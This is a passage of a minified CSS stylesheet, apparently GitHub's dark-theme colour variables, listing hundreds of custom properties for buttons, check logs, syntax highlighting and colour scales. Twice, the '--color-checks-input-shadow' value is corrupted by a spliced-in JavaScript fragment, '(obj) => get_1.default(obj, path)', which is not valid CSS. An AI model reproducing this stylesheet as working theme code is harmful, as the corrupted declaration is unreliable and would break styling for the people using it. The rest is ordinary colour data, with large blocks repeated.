#ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: 